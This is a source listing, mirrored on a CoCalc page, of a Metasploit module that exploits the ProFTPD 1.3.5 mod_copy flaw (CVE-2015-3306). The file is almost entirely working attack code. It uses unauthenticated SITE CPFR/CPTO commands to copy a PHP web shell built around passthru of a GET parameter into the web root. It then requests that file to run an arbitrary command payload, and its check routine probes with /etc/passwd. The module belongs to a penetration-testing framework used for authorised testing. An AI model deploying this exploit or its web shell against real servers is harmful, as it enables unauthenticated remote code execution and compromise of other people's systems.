CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
18
'Description' => %q{
19
This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5.
20
Any unauthenticated client can leverage these commands to copy files from any
21
part of the filesystem to a chosen destination. The copy commands are executed with
22
the rights of the ProFTPD service, which by default runs under the privileges of the
23
'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
24
directory, PHP remote code execution is made possible.
25
},
26
'Author' => [
27
'Vadim Melihow', # Original discovery, Proof of Concept
28
'xistence <xistence[at]0x90.nl>' # Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
[ 'CVE', '2015-3306' ],
33
[ 'EDB', '36742' ],
34
[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=4169' ]
35
],
36
'Privileged' => false,
37
'Platform' => [ 'unix' ],
38
'Arch' => ARCH_CMD,
39
'Payload' => {
40
'BadChars' => '',
41
'Compat' => {
42
'PayloadType' => 'cmd',
43
'RequiredCmd' => 'generic gawk python perl netcat'
44
}
45
},
46
'Targets' => [
47
[ 'ProFTPD 1.3.5', {} ]
48
],
49
'DisclosureDate' => '2015-04-22',
50
'DefaultTarget' => 0,
51
'Notes' => {
52
'Stability' => [CRASH_SAFE],
53
'Reliability' => [REPEATABLE_SESSION],
54
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
55
}
56
)
57
)
58
59
register_options([
60
OptPort.new('RPORT', [true, 'HTTP port', 80]),
61
OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
62
OptString.new('TARGETURI', [true, 'Base path to the website', '/']),
63
OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),
64
OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])
65
])
66
end
67
68
def ftp_port
69
datastore['RPORT_FTP']
70
end
71
72
def check
73
sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
74
75
if sock.nil?
76
return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server")
77
end
78
79
vprint_status("#{rhost}:#{ftp_port} - Connected to FTP server")
80
81
# Set 30 second timeout to allow remote server time to perform reverse DNS lookup
82
res = sock.get_once(-1, 30)
83
84
unless res && res.include?('220')
85
return CheckCode::Safe("#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
86
end
87
88
sock.puts("SITE CPFR /etc/passwd\r\n")
89
res = sock.get_once(-1, 10)
90
91
if res.nil?
92
return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server")
93
end
94
95
if res.include?("500 'SITE CPFR' not understood")
96
return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command not supported")
97
end
98
99
if res.include?('530')
100
return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command requires authentication.")
101
end
102
103
if res.include?('350')
104
return CheckCode::Appears("#{rhost}:#{ftp_port} - Unauthenticated SITE CPFR command was successful")
105
end
106
107
CheckCode::Safe
108
ensure
109
sock.close unless sock.nil?
110
end
111
112
def exploit
113
get_arg = rand_text_alphanumeric(5..7)
114
payload_name = rand_text_alphanumeric(5..7) + '.php'
115
116
sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
117
118
if sock.nil?
119
fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
120
end
121
122
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
123
124
# Set 30 second timeout to allow remote server time to perform reverse DNS lookup
125
res = sock.get_once(-1, 30)
126
unless res && res.include?('220')
127
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
128
end
129
130
print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")
131
132
sock.puts("SITE CPFR /proc/self/cmdline\r\n")
133
res = sock.get_once(-1, 10)
134
unless res && res.include?('350')
135
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
136
end
137
138
sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
139
res = sock.get_once(-1, 10)
140
unless res && res.include?('250')
141
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
142
end
143
144
sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
145
res = sock.get_once(-1, 10)
146
unless res && res.include?('350')
147
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
148
end
149
150
sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
151
res = sock.get_once(-1, 10)
152
unless res && res.include?('250')
153
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
154
end
155
156
sock.close
157
158
register_file_for_cleanup("#{datastore['SITEPATH']}/#{payload_name}")
159
160
uri = normalize_uri(target_uri.path, payload_name)
161
print_status("Executing PHP payload #{uri}")
162
res = send_request_cgi!(
163
'uri' => uri,
164
'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
165
)
166
167
unless res && res.code == 200
168
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
169
end
170
end
171
end
172
173